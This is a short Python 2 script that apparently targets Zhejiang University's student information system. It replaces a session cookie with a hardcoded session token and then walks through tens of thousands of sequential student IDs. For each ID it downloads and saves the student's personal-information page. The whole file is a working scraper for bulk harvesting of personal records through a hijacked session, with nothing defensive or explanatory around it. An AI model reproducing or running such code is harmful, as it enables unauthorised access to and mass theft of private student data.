#!/usr/bin/env python

import urllib2
import cookielib
import os
import thread
 
cj = cookielib.CookieJar()
opener = urllib2.build_opener(urllib2.HTTPCookieProcessor(cj))
request = urllib2.Request('http://sss.zju.edu.cn:7070/xgxt/login.jsp')
response = opener.open(request)
 
cookies = cj.make_cookies(response, request)
 
cookie = cookies[0]
cookie.value = '''A4CA5B4C29368F4F279EB8CFF85703C2; iPlanetDirectoryPro="AQIC5wM2LY4Sfcz4Yzn8ubfw9WiQrcCeCkQlxpJ2iikdbSI=@AAJTSQACMDE=#"'''

def getinfo(min, max, currentpath):
  for i in range(min, max):
    if i!=max:
      request = urllib2.Request('http://sss.zju.edu.cn:7070/xgxt/xsxx/xsxxgl_xsxx_xsgrxx.html?xh='+str(i))
      cj.set_cookie(cookie)
      cj.add_cookie_header(request)
      response=urllib2.urlopen(request).read()
      
      if len(response)!=8678:
        f=open(currentpath+'/'+str(i)+'.html', 'w')
        f.write(response)
        f.close()
        print str(i)+'[o]'
      else:
        print str(i)+'[x]'

if __name__=='__main__':
  print '\n###begin###'
  path=os.getcwd()
  for n in ['09','10','11','12','13']:
    currentpath=path+'/'+n
    print currentpath
    os.makedirs(currentpath)
    getinfo(int('3'+n+'0000001'), int('3'+n+'0010000'), currentpath)
    getinfo(int('3'+n+'0100001'), int('3'+n+'0110000'), currentpath)
    getinfo(int('3'+n+'0200001'), int('3'+n+'0210000'), currentpath)
    getinfo(int('3'+n+'0300001'), int('3'+n+'0310000'), currentpath)
  print '\n###finish###'
 
